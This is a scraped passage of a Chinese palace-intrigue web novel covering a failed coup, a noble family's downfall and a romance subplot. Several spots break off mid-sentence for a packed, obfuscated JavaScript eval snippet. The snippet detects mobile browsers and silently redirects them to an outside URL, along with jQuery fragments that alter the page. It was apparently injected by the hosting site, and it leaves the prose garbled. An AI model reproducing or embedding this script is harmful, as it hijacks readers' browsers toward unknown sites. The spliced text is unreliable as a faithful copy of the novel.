见她不仅不以为耻,反以为荣,林氏再也控制不住心中的怒火,斥道:“你是疯了不成!” “你知不知道,你这样做是彻底将自己的退路给斩断了!” “女儿知晓,可是女儿不悔!”周令宜顶嘴道。 林氏更是气得快要昏厥过去,“你……你说什么!你到底知不知道,女子的清白有多重要?我怎么会生出你这个孽障!” “赶紧将肚子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15491785|165119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里的孩子打了!赶紧的!趁着月份还小,不会让人察觉,对你身体的伤害还小。” 周令宜原本还老老实实地听训,可听到林氏让她将孩子打掉之时,整个人顿时如同惊弓之鸟般往后缩。 口不择言道:“母亲,若是像你说的清白有那么重要的话,那当初你被那些脏污的乞丐玷污时,怎么没有以死明志?” “母亲你做不到,却要拿掉我孩子的性命,未免也太宽己苛人了!” 林氏瞪大双眼,不敢相信这是自己十多年如珠似宝养出的女儿。 那一晚的事情于她而言就是个禁忌,数次午夜梦回之时,她似是都能闻到那些乞丐身上的恶臭味。 每一回闻到,不管是否更深露重,她都要沐浴,直到身上的皮肤擦出血丝来,似是才洗去了那些污浊一般。 那件事情不仅让她身心受创,更时刻提醒着她,她不择手段抢来的夫君根本不爱她,连她被十数个乞丐**,他都浑不在意。 一心只有那个早已被她视为手下败将的女人。 身体上的反应,与心理上的创伤,她花了许久的时间才从其中走了出来。 宜姐儿明明知道她那段时间有多艰难,却仍旧在她一心为她着想时,用此事来重伤她。 这……就是她好费巨大心力,如珠似宝养大的好女儿啊! 林氏的心似是在滴血一般,咬牙切齿道:“好好好!你可真是娘的好女儿啊!” 第三百九十章赌一把,换一个皇长子? 周令宜看着林氏不可置信的神情,才察觉出自己说错了话。 连忙膝行上前几步,想要去触碰林氏,“娘,宜儿不是故意的,就是一时口不择言,娘您不要——” 话还未说完,就被林氏一把甩开了。 林氏站起身,冷着一张脸道:“你如今也大了,有了自己的主意,我也管不了你了,也不想管了。” “管得多了,没得惹得你埋怨,这件事情,你自己看着办吧!” 说完,林氏就朝门口走去。 见林氏这副样子,周令宜有些慌了,惊慌喊道:“娘——娘——” 就在林氏即将踏出屋子的那一瞬,周令宜哀凄的声音从身后传来,“那娘想让我怎么办?这肚子里的孩子也是女儿的亲骨肉啊,虎毒尚且不食子,女儿又怎能说舍弃便舍弃腹中的骨血。” 林氏听到这话猛地顿住了脚步,狠狠闭了闭眼,终究是狠不下心肠不管。 猛地转身折返几步,怒道:“你知不知道你这样做的后果!” “安王与那林惜颜是圣旨赐婚,且这赐婚的旨意是安王亲自求来的!” “为了借林将军的势,如今所有人都要哄着那林惜颜。” “那又是个心胸狭窄的,她还未过门,如何肯让你先一步进安王府做侧妃!” “难道你打算无名无分地一顶小轿进安王府做侍妾吗?” “即便是你自甘**,那你肚子里的孩子要怎么办?林惜颜定不会容忍这个有可能成为安王长子的孩子的!” “只怕倒时结亲的效果也会大打折扣,如此一来安王势必会迁怒在你身上!” “还是说,你想要无名无分生下这个孩子?你想让你的孩子背上奸生子的罪名,一辈子抬不起头吗!” 越说,林氏越觉得心口疼,心中万分后悔女儿与安王相处时自己不曾干涉。 她是想让女儿嫁给安王没错。 若是永宁伯府注定与安王站同一艘船上,宜姐儿嫁给安王无疑是最好的选择。 将来安王若是能登上帝位,那宜姐儿就是母仪天下的皇后。 可是眼下情况它不一样。 她可以容忍为了安王的大业,宜姐儿暂时委屈一下屈居侧妃之位。 但决不能容忍宜姐儿背上私通的罪名,甚至将来的孩子都背上个奸生子的名声,一辈子遭人诟病。 这个孩子若真是生了下来,即便是将来林惜颜被废,宜姐儿背着这样的名声,也绝无登上后位之可能。 这还是事情顺利的情况下。 林家势大,安王若真是借助林家的势力坐上了太子之位,来日登基之后,肯定不能立即就对林家动手。 如此一来,宜姐儿想要登上后位,还不知道要等到何年何月。 那这个孩子就更不能生下来了。 “不行!这个孩子绝不能生下来!”林氏神色凝重道。 周令宜心中一慌,生怕林氏这就要给她灌堕胎药,一只手死死地捂着肚子,一只手拉住林氏的衣袍一角, 道:“娘,事情还没有下定论,您不必如此惊慌,说不定未必就能走到那一步呢,这个孩子也未必会背上奸生子的罪名。” 林氏眉头一蹙,“你这话是什么意思?” 见林氏终于没有先前一般恼怒,周令宜轻轻松了一口气,随即嘴角扯出一抹笑,缓缓出现地上站了起来,靠近林氏耳边低语。 林氏的瞳孔随着周令宜的低语逐渐紧缩,待周令宜说完后,林氏猛地看向周令宜,“你说的可是真的!” 周令宜嘴角轻勾,“自然是真的。” “殿下说了,这算是一个后手,若是镇国公府没有定罪,他便会如此行事,决不能等瑞王回来后,被皇上封为太子,必须要先下手为强。” 林氏唇瓣微张,半晌说不出话来,实在是谋逆一事事关重大,若是一个不小心,不知要牵连多少人家。 而更让她心寒的是,永宁伯的态度。 如此大的事情,他肯定与老夫人商谈过,可无论是老夫人还是他都从未与她说过此事。 她作为这永宁伯府的主母,竟对此事一无所知! 相比之下,宜姐儿却早早从安王处得知此事。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15491786|165119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >两相一对比,林氏反而倒是有些放心了。 安王对宜姐儿还是有些真心的。 周令宜察觉到林氏的情绪变化,轻轻牵过林氏的手放在自己尚未显怀的小腹上,声音不疾不徐,却又似带着蛊惑的意味道:“到时,殿下若真是成事了,登上了帝位,那女儿腹中的孩子便是殿下的第一个孩子,若是男胎,那就是将来的皇长子。” “殿下登上了皇位,那与林惜颜的婚约也就不那么重要了,废除,也不过是殿下一句话的事。” “即便是林家势大,不能轻易违背承诺,林惜颜仍是皇后,那也不要紧。” “封后大典,帝后大婚乃是皇家一等一的大事,其中的每一步,都至关重要,不准备个一年半载的怎么行。” “自古以来,哪一个皇帝不是三宫六院,殿下在王府时身边就只有几个无名无分的通房,当了皇帝自然要扩充后宫,为皇家开枝散叶。” “到时,女儿便可先行入宫,女儿身体好,自然很快便可怀上皇嗣,到时生产时,便说是早产了,提早了两三个月发动。” “如此一来,神不知鬼不觉,料她林家也只能干瞪眼跺脚的份。” “若是将来林家再一倒,林惜颜被废,女儿登上后位,那您的外孙可就是名正言顺的嫡长子了,今后继承帝位,再是名正言顺不过。” 林氏眸色一暗,眼珠转动,“可是,按照你所说,镇国公府今日难逃倾覆,安王未必会……” “那就等今日结束之后再说。”周令宜道,“帝心难测,若是皇上有意因着瑞王之故偏袒镇国公府,亦或是镇国公府被下狱。” “可瑞王是死是活还未可知,若是瑞王活着回来求情,事情未必会如殿下所愿,那倒时殿下势必还是会按照计划进行,左不过是晚一些时间。” “反正我腹中的孩子不过才一个月,我等得起。” “若是到时殿下并没有走到那一步,我再拿掉腹中孩子便是了,只是对身体损耗了些罢了。” “赌一把,换一个皇长子,母亲,你觉得呢?” 周令宜看向林氏。 第三百九十一章永宁伯府被抄 林氏神色晦暗,半晌后,才道:“事已至此,那便按你说的办,不过,一切都要听我的指挥,切不可再胡乱行事!” 周令宜闻言轻轻松了一口气,又恢复了那副小女儿的姿态,拉着林氏的衣袖撒娇道:“是,母亲,女儿遵命。” 林氏绷着一张脸,没好气地瞪了她一眼。 但到底还是心疼周令宜的,扶着她在太师椅上坐下,这才站直身体朝外喊道:“来人啊!” 孔嬷嬷和采薇听到林氏唤人,立马进来。 “夫人。” “夫人。” 林氏的眼神落在孔嬷嬷身上,道:“孔嬷嬷,你亲自去宫门前守着,看看有什么异动,若是有立刻回来禀报,若是没有,等散了朝,请伯爷来小姐的院子,就说有要事相商。” “是,夫人。”孔嬷嬷应下,连忙转身走了。 林氏的目光又落在了采薇的身上,神色威严道:“去将方才那名大夫请过来。” 采薇应下,转身出去,不一会,那名大夫就跟着采薇后面进来了。 “夫……夫人饶命,夫人饶命啊,小的一定守口如瓶,定然不会说出去的。” 那大夫撞破这等隐私怕极了,生怕被灭了口,一进门就跪在地上磕头。 林氏居高临下地看着他,淡淡开口道:“想要本夫人饶过你也不是不可以,闭紧你的嘴,开几副安胎药,务必要保证母子均安,只要你能做到,这些……” 林氏抬了抬眼,红布掀开,托盘上摆放着一百两白银,“就都是你的了。” 那大夫当即就道:“谢夫人,谢夫人!” “先别急着谢,若是让本夫人事后听到只言片语……”林氏眼眸一厉,“你该知道你将面临什么!” 大夫一愣,连忙道:“是是是,知道,知道,小的一定守口如瓶。” 林氏见大夫神色惊恐不已,便知目的已达到,淡淡地嗯了一声,“既如此,那便去开安胎药吧。” “是。”大夫拿着银两跟着采薇出去了。 林氏心中微微叹了一口气,其实依她的想法,这大夫是断断不能留的。 可是宜姐儿如今怀着身孕,需要个大夫把脉看诊,时时照看着。 与其杀了这大夫后又去找别人,还不如先暂时留着这大夫,等安王那边安定下来后,再做打算。 看看宜姐儿这肚子里的孩子,到底该不该留。 等确定下来后,再杀了这大夫灭口便是。 周令宜坐在林氏身后的太师椅上看着这一幕,心中涌出些许感动。 她就知道,她娘不会这么心狠的。 她站起身,走到林氏身边挽住林氏的手臂,哽咽道:“娘,我就知道你不会不管女儿的。” 林氏见她这副痴缠卖乖的样子,没好气道:“我啊,真是上辈子欠了你的,你这次要是不乖乖听话,我就不管你了。” “听,听,一定听!”周令宜一口应下。 母女二人正说着话,孔嬷嬷着急忙慌地跑了进来,大喊道:“不好了!不好了夫人!” 林氏蹙眉,看着跑得上气不接下气的孔嬷嬷,道:“嬷嬷这是怎么了?这般慌慌张张的成何体统!让你去宫门前,你怎么还在府内?” 孔嬷嬷年近六十,一番急跑下来早就喘不过气了,可是此刻还是努力控制住自己的气息,惊慌道:“夫人!不好了啊!方才……方才老奴遵夫人您的命令去往皇宫……刚出府……便撞见……撞见……” “撞见什么你倒是说啊!”林氏不耐道。 “撞见御林军奉皇上旨意要查抄咱们伯府啊!”孔嬷嬷道。 似是印证着孔嬷嬷的话,几个身着御林军服饰的侍卫走了进来,将院落团团围住。 其中一个侍卫环视一圈,目光定格在林氏和周令宜的脸上,道:“永宁伯夫人林氏和永宁伯之女?” 林氏与周令宜心中同时一紧,却也不得不点头。 见身份对的上,那侍卫点点头,手一挥,朝身后的其他几位侍卫道:“押走!” 那几个侍卫立即上前钳住二人的双手。 “唉唉唉!你们干什么!放开我!” 二人挣扎, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15498395|165119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可是这些御林军可不会对即将成为罪臣亲眷的人怜香惜玉,手下留情。 当林氏与周令宜被压在侯府大门前时,看见连老夫人也被压着跪在地上,心里顿时咯噔一声。 此次是李顺全亲自来宣的旨意。 他面无表情地展开圣旨: “奉天承运,皇帝诏曰: 永宁伯周耀之蒙受国恩,本应恪尽职守,以报君恩。然其狼子野心,先有调换赈灾银,事情败露,朕念其早年救命之恩,轻轻放过,小惩大诫。后又不知悔改,结党营私,通敌叛国,私通外邦,泄露军机,蛊惑安王谋逆,此等行径,天理难容。 证据确凿,罪名累累,着赐死。永宁伯府家产抄没。 其三族内,男子凡十岁以上者赐死,十岁以下者流放边疆;女子凡十六岁以下者没入教坊司,永世为贱籍,十六岁以上者充作奴籍,永不得赎身,以儆效尤!钦此!” 老夫人还没等圣旨念完,便已经晕了过去。 林氏满脸不可置信,周令宜更是一脸茫然没有反应过来。 方才她还做着当上皇后,肚子里的孩子成为皇长子的美梦,如今不过一瞬,一切皆化为了泡影。 这让她如何接受? 四周都是一片哀嚎声与哭喊声。 周令宜看着林氏惨白的脸以及二叔震惊害怕的神情,死死掐了自己的胳膊一把。 剧烈的疼痛告知她这一切都是真的,不是在做梦。 不……不行! 她是堂堂永宁伯府的嫡小姐! 高门贵女!身份尊贵! 怎么能去教坊司那种肮脏的地方! 不……不对,她一月前已经满了十六岁,她将……充作奴籍,永不得赎身,永世为奴! 不……她的余生不该是这样的! 怎么办? 怎么办! 周令宜急得冷汗直冒,忽然,她抚上了自己的小腹。 对了,她还有孩子! 这可是皇上的亲孙子,是殿下的孩子,皇上总不可能忍心让皇孙入奴籍吧? 第三百九十二章原来是在等心上人啊~~~ 还有殿下。 即便是事情败露,要责罚,要圈禁,起码衣食无忧,总比永世为奴强吧? 她宁愿失去自由被关在安王府,也不想出去为奴为婢,与她看不起的低贱卑微的下人为伍! 想到这,周令宜连忙膝行上前几步,攥住了李顺全的衣袍一角,犹如抓住了最后一颗救命稻草一般,哽咽道:“李……李总管,安王殿下呢?我要见殿下……不……我要见皇上,我有重要的事情要相告!” 如今事情败露,殿下肯定是被皇上软禁起来了,她未必能见得到,还是请求见皇上,才能躲过这一劫。 李顺全垂眸瞥了这位往日高高在上的高门贵女一眼,想到她今后的下场,眼底闪过一丝同情,可想到方才殿上发生的事情,那点同情顷刻间便消失殆尽了。 他敛了敛眸,负手而立,声音无悲无喜道:“周小姐,即便是永宁伯府未曾获罪,帝王龙颜也不是你想见就能见的,更何况皇上如今病体抱恙,不宜见人,至于安王……” 李顺全顿了顿,才在周令宜满眼期待中,缓缓道:“安王殿下御前行刺,已经被皇上亲手所杀,周小姐想要见安王,杂家怕是帮不了你了。” ‘砰——’ 似是有什么东西,碎了。 周令宜的大脑一片空白,满脑子都是‘被皇上亲手所杀’七个字,反复循环。 什么叫做穷途末路,周令宜今日算是明白了。 她神色惨白,仓皇地抬起手抚上自己的小腹,猛地攥紧。 完了! 一切都完了! 皇上连自己的亲子,殿下的性命,都不顾及,亲手杀了殿下,哪还会在意她这腹中尚存的一丝骨血。 这个孩子,不是她通往锦绣荣华,得封后位的至宝,而是推着她下地狱的催命符。 皇上此刻必定对殿下深恶厌绝,若是知晓了这个孩子的存在,她只怕是死得更快。 这个孩子! 周令宜拼命捶打自己的腹部,眼泪顺着微红的眼尾滑落,整个人似是都魔怔了一般。 “都怪你!都怪你,你这个丧门星!你这个丧门星!” 这如疯婆子般的举动将李顺全吓了一跳,连忙往后退了两步,有些狐疑道:“这……是疯了……?” 林氏见状,也顾不得自个儿的伤心,连忙上前将周令宜搂进怀中,控制住她的双手。 面对李顺全的疑惑,却是丝毫不敢透露其怀孕一事。 方才她虽伤心,可李顺全的话她也是听得清清楚楚。 安王谋逆,皇上必然震怒,连亲子都尚且杀得,可见对安王之恶,这个孩子万万留不得。 可却不能在李顺全面前流掉。 还不待林氏想出个对应之策,周令宜便在林氏怀中晕了过去。 林氏大骇,“宜姐儿!宜姐儿!宜姐儿你醒醒啊!你别吓母亲!” 望着这一片哭的哭,喊的喊,晕的晕,李顺全眼中一片漠然,手一挥,“都给杂家压下去!” “是!” 御林军听令而上。 不过稍息,昔日人声煊赫的永宁伯府便被贴上了封条,成了一座空宅。 —— 入夜。 月光皎皎,凉风****。 沈琼华坐在窗棂边,她单手捧着本游记,暖黄的烛光照在她姣好的侧脸上,透着一股岁月静好的美好。 忽而,一件白狐皮制成的大氅落在了她的肩头,沈琼华猝然抬眸,眼里似坠了万千星辰般,可看清了来人,又似泄了气般,眼底的失落遮都遮不住。 “芍药,怎么是你?” 芍药一脸莫名,道:“小姐,不是奴婢还能是谁?” 沈琼华听到芍药的反问,眼神有一瞬慌乱,轻咳一声,“没……没谁,我还以为是甘草呢,今日是她值夜。” 芍药歪头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15498396|165119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回想了一下,随后颇为肯定道:“小姐肯定是记错了,今夜是奴婢值夜,这深冬寒凉,小姐该穿得多些,莫着了凉才是。” 沈琼华拢了拢身上温暖又柔顺的大氅,勾起一抹笑,问道:“阿娘和阿逸他们都安全回去了?这深冬地滑的,阿娘喝醉了酒,莫要摔着了。” 芍药笑着道:“都送回去了,少爷和奴才们一起将夫人送回去,这才回的自己的院子,奴才在沈府待了这么多年,还是第一次见夫人饮酒呢,还饮了这许多,还拉着小姐你一起。” “阿娘这是高兴呢,笼罩在沈家头顶上的乌云散了,再也不必时时刻刻担心受怕,生怕哪一日被害了性命,她高兴。”沈琼华道,神色间又带着些许怅然,“也高兴终于为阿爹报了仇。” 芍药安慰道:“小姐宽心,老爷泉下有知,也会很欣慰的。” ‘滴答滴答——’ 夜空中下起了小雨,芍药急急就要去关窗。 就在她手即将触碰到撑杆的那一刻,身后传来的沈琼华的惊呼,“别关——” 芍药猝然回头,就见沈琼华紧张地看着她,一只手从温暖的大氅里伸了出来,指甲上的丹寇是今日半下回府时新染的。 见芍药一脸诧异地盯着自己,沈琼华似是也反应过来自己的反应过激了,连忙收回手,却怎么摆放都不自在。 嘴上道:“那什么,我觉着有些热,开着窗好些,也好散散我身上的酒味。” 芍药看了看自家小姐身上裹紧了的大氅,又看了看这窗外的细雨,感知着这冬雨滴落裹挟进窗棂的凛冽寒风,顿时顿悟了。 “哦~~原是如此~~”她眉尾微微上挑,扬长了语调。 沈琼华被她这眼神看得有些不自在,有些心虚的移开了视线,就听见芍药道:“奴婢就说这冬日寒凉的,小姐又吃了酒,不早早上榻歇息,枯坐在这窗棂边做什么呢,原来……是在等心上人啊~~~” 第三百九十三章你这么晚没睡,是在等我吗? 沈琼华眼眸倏然瞪大,“你胡说什么!我那是在看游记!” 芍药笑得更欢了,道:“是几炷香过去了,都不曾翻一页的那种看吗?” “你这丫头,满口胡言!你看我抓到你不狠狠惩罚你!”沈琼华说着就朝芍药扑去。 芍药一边躲着一边道:“小姐,你看,你被奴婢说中心事,恼羞成怒了!哈哈哈哈!脸都红了!哈哈!” 芍药过于灵活,沈琼华没抓到人,反倒将自己累得气喘吁吁。 气得一跺脚,道:“我没有在等谢南渊!” 芍药顿住脚步,嘴角勾起一抹诡异的笑,“哦,原来小姐在等瑞王殿下啊!这可不是奴婢胡说!这是小姐你自己亲口说的!” “小姐的心上人是瑞王殿下!嘻嘻!” 沈琼华嘴唇张大,这才发觉自己被这小妮子给带进阴沟里去了。 心里气得不行,但更多的是心事被人发现的羞恼。 看芍药还在那乐得不行,索性一咬牙,三步并做两步走到窗棂边,手一伸,便将撑杆一把夺下。 没了撑杆的窗户立马落了下来,将风雨隔绝在外。 沈琼华拿着撑杆朝芍药走去,将其塞在芍药怀中,连人带杆一道往外赶。 “让你胡说!让你炸我,我不吹风行了吧,不散酒气行了吧!你出去,我要歇息了!” 随着最后一字的落下,沈琼华‘砰’地一声将门关上了。 背靠着门,心里的羞恼却还通过四肢百骸朝外蔓延,偏偏一门之隔的芍药还不消停,将门拍的砰砰直响。 “小姐!小姐你开门啊!奴婢……奴婢真的是来值夜的啊!” 言语之中的隐晦笑意,都不须细听,便可察觉。 沈琼华只感觉更加羞窘了,隔着门大喊道:“你别敲了,回屋去睡吧!本小姐今夜才不需要人值夜!本小姐今夜吃醉了酒,如今头晕得很,肯定倒头就睡了!” 说着又打了一个大大的又声音十足的哈欠,道:“你别吵了,赶紧回屋去,我现在就要睡了!” 说着,便走到烛台前,噘着嘴恨恨一吹,屋内便陷入一片黑暗。 芍药对沈琼华这副无赖的样子也是颇感无奈,只能离开了。 沈琼华脱掉大氅,爬上床,抱着被褥,将头深深地埋入被褥当中。 半晌后,一拳打在了锦被上。 她真是被芍药气糊涂了,怎么会说出谢南渊的名字? 不对! 她本就不是在等人! 她分明是在醒酒。 没错! 就是这样! 黑暗中,沈琼华拍了拍自己的脸,重新调整了一下睡姿,将被褥掖好。 闭眼! 睡觉! …… ‘吱呀——’ 也不知过了多久,窗棂处传来一丝细微的异响,空气中似是有一缕冷流混入,带着微微的湿气。 黑暗中,怎么也睡不着的沈琼华一下就睁开双眼。 那双掩于黑暗的漂亮眼睛中带着惊人的亮光和至极羞恼,一边起身,一边抄起枕下的玉枕,略显粗暴的掀开床幔,三步并作两步下了榻,抬手就将手中的玉枕朝窗棂和床榻之间的黑影砸了过去。 紧接着脚步跟上,凭着感觉摸索到了男人怀中的玉枕,猛力扯出,又将其往脸上砸去。 男人察觉到用意,连忙双手交叠置于头部抵挡。 一下没打到,沈琼华再接再厉,拎着玉枕复又砸上去,反复循环。 因着毫无防备,也不敢用力反抗怕伤了沈琼华,男人躲闪得很是狼狈,但好歹还未伤了自己。 黑暗中男人忽而眼珠一转,沈琼华又一枕头砸下去,只听得痛呼一声。 沈琼华身体一僵,张大了嘴,连忙扔掉手中的玉枕,“你……你没事吧?啊?” 男人没做声,沈琼华只听得到几近于无的痛嘶声。 心里的担忧胜过了理智,黑暗之中看不清,沈琼华连滚带爬地跑至烛台处,哆哆嗦嗦拿出放置在一旁的柴盒,将蜡烛点燃。 屋内有了亮光,沈琼华一眼便看见一袭黑袍,侧躺在地上的谢南渊。 连忙跑至他身边,着急忙慌地想要查看他捂着的左眼,整个人几乎都要趴在他身上。 “你怎么了?啊?左眼怎么了?快给我看看!” 谢南渊左扭右扭,就是不可松手。 沈琼华着急了,“你左眼到底怎么了!快给我看看!这要是瞎了可怎么办!”声音里似是都带着一丝哭腔。 温香车欠玉在其上,隐晦的暗处,谢南渊嘴角不受控制的勾起。 沈琼华见谢南渊捂着眼睛不说话也不给她看,以为真的是伤得很严重。 “来人!快来人呐!芍药!快请大夫!”沈琼华高声喊着,这才想起芍药被她赶回屋睡去了,没在外头值夜,连忙就要起身去院外喊人。 谢南渊见事情要被闹大了,这才哎呦一声。 沈琼华闻声,连忙返头看向左眼处,“怎么了?怎么了!很痛吗?” 女子白皙纤细的手覆上男子略微粗糙宽大的手。 谢南渊的手微微松开。 借着昏暗的烛光,沈琼华看清了对方神采奕奕的眼睛,像星星似的。 空气安静了一瞬,随即而来的是机智的恼怒,沈琼华左看右看,捡起方才扔到一边的玉枕朝谢南渊砸去。 只不过比方才有分寸的多,没有朝脸上砸,而是砸在了腹部,力度也比方才减轻了不少。 砸下去之后,也没有捡回,而是转身拿起衣架上的大氅披在身上,走到窗棂边小几上的烛台旁坐下。 那张明艳的脸上此刻冷若冰霜,眼睛看也不看还躺在地上的谢南渊,而是落在虚处。 谢南渊等了半晌,也不见这人有其他动作,便知把人惹恼了。 连忙站起身,拍了拍身上沾染的尘土,朝沈琼华走去。 烛光下,那张明艳的脸连生气都带着勃勃生气,看着就令人心生欢喜。 虽白日里已经见过了,可那到底是在大殿之上,又忙于其他事情,没有儿女情长的心思,不曾仔细看过这让他朝思暮想几月之久的人儿。 眼下万籁俱寂,只余一盏灯,两个人。 心中的思念再也抑制不住。 谢南渊那双漆黑如墨的眸子中被沈琼华的身影占据,他深吸一口气,再开口时,声音嘶哑中又透着些许紧张,“沈琼华,我平安回来了。” “你……这么晚没睡,是在等我吗?” 也许是这后一句话太过于直白,沈琼华猛地抬眸,恰撞进一双满是她身影的眸中。 心中一悸。 第三百九十四章赶人 在谢南渊过于期盼与明亮的眼眸中,沈琼华有些狼狈的挪开视线。 深吸一口气,待再与其对视时,眼中的狼狈已化为了冰冷,嗓音凉凉地开口,带着一股阴阳怪气的意味,“瑞王殿下说笑了,您亲口说的,再不会做这等入夜翻窗,夜探闺房的事情。” “臣女一向以为您不算个君子,起码还说话算话,又怎会在等您呢,不过是白日发生的事情太多,有些睡不着罢了,却是不想正好抓到个‘贼子’!” ‘贼子’二字落下,沈琼华眼眸一厉。 谢南渊心中划过一抹心虚,他轻咳一声,坐至小几的另一边,从怀中掏出一条腰带。 那熟悉的样式,白玉的暗扣,不正是谢南渊出征之前,沈琼华给他的那一条? 沈琼华眸色微动,就听见谢南渊道:“我……我是来还这条腰带给你的。” “多亏了这条腰带,在边关时派上了大用场,使我能平安归来……” 沈琼华扬起一抹假笑,“王爷还真是不走寻常路,这腰带什么时候还不好,非得大半夜来还。” 说完,微微倾身,一把夺过谢南渊手中的腰带,‘啪’地一声拍在了小几上,随即赶人道:“既是来还腰带的,腰带我收下了。” “如今天色太晚,孤男寡女独处一室于名声不好,王爷可以走了吗?” 谢南渊:“……” 这是怎么了? 白日里不还好好的吗? 总算是察觉到了沈琼华语气中的不对,谢南渊有些惴惴不安地问道:“你……生气了?” 看着谢南渊那试探的小眼神,沈琼华脸上的笑愈发灿烂了,“王爷说笑了,臣女有几个胆子敢生王爷您的气?” “只是如今,永宁伯府已经覆灭,王爷承诺臣女的,已经做到了,而臣女承诺王爷的……” “安王已死,大皇子与四皇子不堪大任,五皇子年幼,储位已是王爷的囊中之物,登上太子之位不过是时间问题。” “今后若是银钱上有困难,王爷派人送信来沈府便是,不必亲自跑一趟,更不必漏夜前来。” 谢南渊瞳孔微微一缩,有些不可置信道:“你不愿见我?你这是要……要提前结束交易了?” 谢南渊本想说的是‘要与我生分了’,可又怕惹恼了沈琼华,话到了嘴边,硬生生地转了一个弯。 沈琼华闻言冷笑一声,对上谢南渊的视线毫不留情地拍桌而起,道:“哪是我要与王爷提前结束交易?分明是王爷没将这段合作关系放在眼里!” “若是真心合作,那必然是要坦诚才是。” “自打合作以来,我事无巨细,事事说与王爷听,甚至你远在边关,还去信告知于你,可是王爷是怎么做的?” “呵!边关失踪,暗度陈仓,瓮中捉鳖,大捷回京,其中种种内情,是只言片语都不曾透露啊!你知不知道……” 沈琼华情绪有些激动,说到此处,却忽而住了嘴。 “知道什么?”谢南渊开口问道,眼中透着些许期盼,“难道知道本王失踪,你很伤心吗?” 沈琼华见他这副样子,更是气不打一处来,冷笑道:“伤心?我有什么可伤心的,你若是死了,我自还有别的方法,大不了转而支持五皇子,一样能达到目的。” 谢南渊眼眸黯淡了下去,嘴上却解释道:“不是我故意不告知你,当时——” “停!”沈琼华抬手制止,道:“现在你想说,我不想听,腰带我已经收到了,还请您打哪儿来回哪儿去,我要睡觉了!” “沈琼华——” “臣女恭送王爷!”沈琼华半蹲身行礼道。 谢南渊看着她披散的乌发,一肚子的解释到了嘴边都说不出来了。 罢了,既是还在生气,想必他说什么她都听不进去。 他若是硬着来,只怕她会更生气,还是等下回吧。 等下回她气消了,他再好好解释一番就是了。 这更深露重的,她白日又受了些惊吓,是该早早歇息才是。 谢南渊抿抿唇,有些不舍道:“那你早些歇息,我先走了,改日再……” “王爷慢走!”谢南渊话没说完,沈琼华又道。 这下谢南渊是彻底呆不下去了,只能一步三回头地朝窗棂边走去,跃窗之前,还往回看了一眼。 回以他的,是沈琼华面无表情的脸。 只能摸了摸鼻子,悻悻离开。 待室内重归于安静,沈琼华这才站起身朝跌落在地上的玉枕走去,将其捡起,又吹灭了烛灯,抱着玉枕上了榻。 直到困意来临前,沈琼华心里都还气恼的紧。 主意那么大,还和她合作做什么! 还有脸来找她! 不行!明日就去阿娘院落住几日! 家中大仇得报,她与阿娘秉烛夜谈,希忆往昔不是应该的吗? 定要叫他扑个空! 沈琼华迷迷糊糊地想,终是沉沉睡过去。 —— 窗外,直至屋内的烛火熄了许久,谢南渊才死心离开。 从高墙上一跃而下。 在墙角处探头探脑的临泽见着谢南渊顿时跟了上来,满脸谄媚道:“王爷,怎么样了?沈小姐这么久没见到你,是不是很激动,是不是哭了,你们有没有牵手?有没有拥抱?有没有……”接吻? 想到那副干柴烈火的场景,临泽就有些心潮澎湃,恨不能自己就在现场观看。 他关顾着自己想象,完全没有注意到谢南渊臭着一张脸。 “没有。”硬邦邦的吐出两个字。 “哎,我就说沈小姐肯定很担心王爷你吧,下次王爷你再去找沈小姐,可一定要带……呃……什么?” 临泽一愣,这才反应过来谢南渊说了什么,他惊呼,“怎么可能?” “王爷,是不是你嘴笨说错了话,惹得沈小姐生气了?还是你脑子一下没有转过弯来,惹恼了沈小姐?您出征这么久了,沈小姐心中若是有你,念着你,不说扑进您怀中,与您相拥,怎么也会激动落泪吧?” “若是都没有……那完了完了,王爷,沈小姐该不会真的对您毫无感觉吧?” “那怎么办?王爷您岂不是要孤独终老了?” 临泽一张嘴絮絮叨叨地说着,吐出来的话犹如一把把匕首直往谢南渊心口戳去,谢南渊脸色越来越黑,终是忍无可忍,吐出两个字,“闭嘴!” 声音不大,但威慑感极强。 临泽霎时间禁了声。 